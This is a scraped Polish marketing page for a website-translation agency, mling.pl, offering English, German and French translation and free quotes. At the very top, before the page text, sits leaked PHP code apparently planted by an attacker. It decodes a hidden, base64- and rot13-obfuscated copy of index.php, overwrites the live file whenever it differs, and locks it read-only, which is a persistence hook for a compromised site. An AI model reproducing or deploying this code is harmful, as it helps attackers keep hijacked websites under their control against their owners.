$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } Tłumaczenia stron internetowych: angielski, niemiecki, francuski | mling.pl
698 688 787 lub 22 379 04 55 biuro@mling.pl
Zaznacz stronę

TŁUMACZENIE STRON INTERNETOWYCH

Zaufaj specjalistom i korzystaj z naszego doświadczenia

Wycena tłumaczenia

wyc

  • Całkowicie za darmo !
  • Prześlij pliki
  • Odpowiedź do 30 minut
Sprawdź

Firma Wiarygodna Finansowo

fwf


Tłumaczenia stron internetowych, www

Tłumaczenia stron internetowych a biznes

Prowadzisz działalność gospodarczą? Uważasz, że współcześnie nie jest możliwe prowadzenie interesów na ogromną, międzynarodową skalę bez Internetu, bez dostępu do sieci, w której to przeciętny zjadacz chleba spędza coraz to więcej czasu? Rzeczywiście, większość poważnych i solidnych firm, swoje usługi oferuje również poprzez różnego rodzaju strony internetowe. Te bowiem mogą być zarówno wizytówkami, jak również przedstawiać pełną ofertę skierowaną do potencjalnych kontrahentów, klientów.

W przypadku zaś poszerzania rynków zbytu lub po prostu wchodzenia na nowe, niezmiernie istotne jest zadbanie o tłumaczenie konkretnych stron www na język oficjalny kraju, w jakim działalność ma być prowadzona. W ten sposób dokonuje się między innymi budowania marki, stwarza się również podstawy wiarygodności firmy czy też przedsiębiorstwa.

Aby jednak strona internetowa cieszyła się licznymi odwiedzinami, każdy jej właściciel powinien zadbać o kilka aspektów. Grafika czy też wykonanie jest oczywiście ważne, niemniej – jak się powszechnie uważa – to treść stanowi jej trzon. Tylko bowiem wówczas, gdy oferta lub historia firmy zostanie przedstawiona poprawnym, interesującym językiem jest szansa, że dane przedsiębiorstwo będzie cieszyło się popularnością, a zatem i będzie mogło się swobodnie rozwijać. Okazuje się, że poszczególne społeczeństwa przywiązują sporą całkiem uwagę do sposobu, w jaki firma prezentuje się w sieci. A zatem, aby i twoja firma odniosła sukces, powinien zadbać przede wszystkim właśnie o aspekt językowy.

W tym też celu warto poszukać tłumacza, który będzie doskonale znał historię i kulturę danego kraju, na rynek którego wraz ze swoją ofertą wchodzisz. Dobrze również, aby był on zorientowany w branży, której jesteś częścią. Wówczas bowiem opisy poszczególnych produktów czy też usług będą zdecydowanie bardziej atrakcyjne i przyciągać będą potencjalnych klientów. To zaś wszystko powinno przynieść wymierne zyski w postaci rozwoju firmy.

Najczęściej tłumaczone języki to:

  • angielski
  • niemiecki
  • francuski

Wycena jest całkowicie darmowa i do niczego niezobowiązująca.


Wybierz pliki